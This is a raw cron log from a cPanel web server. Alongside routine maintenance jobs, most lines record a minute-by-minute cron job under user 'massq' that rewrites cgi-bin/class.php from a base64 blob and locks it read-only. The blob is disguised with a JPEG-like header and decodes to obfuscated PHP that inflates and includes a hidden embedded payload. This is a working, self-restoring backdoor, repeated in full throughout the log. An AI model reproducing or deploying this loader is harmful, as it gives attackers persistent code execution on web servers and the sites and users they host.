Nov 15 22:24:01 server CROND[8079]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:25:01 server CROND[8349]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:25:01 server CROND[8351]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 15 22:25:01 server CROND[8350]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 22:25:01 server CROND[8352]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 22:26:01 server CROND[8773]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:27:01 server CROND[9125]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 22:27:01 server CROND[9126]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:28:01 server CROND[9397]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:29:01 server CROND[9765]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:30:01 server CROND[10033]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:30:01 server CROND[10034]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 22:30:01 server CROND[10035]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 22:30:01 server CROND[10036]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 22:31:01 server CROND[10366]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:32:01 server CROND[10629]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:33:01 server CROND[10897]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:34:01 server CROND[11230]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:35:01 server CROND[11603]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 22:35:01 server CROND[11604]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 22:35:01 server CROND[11605]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 22:35:01 server CROND[11608]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 22:35:01 server CROND[11606]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 22:36:01 server CROND[11939]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
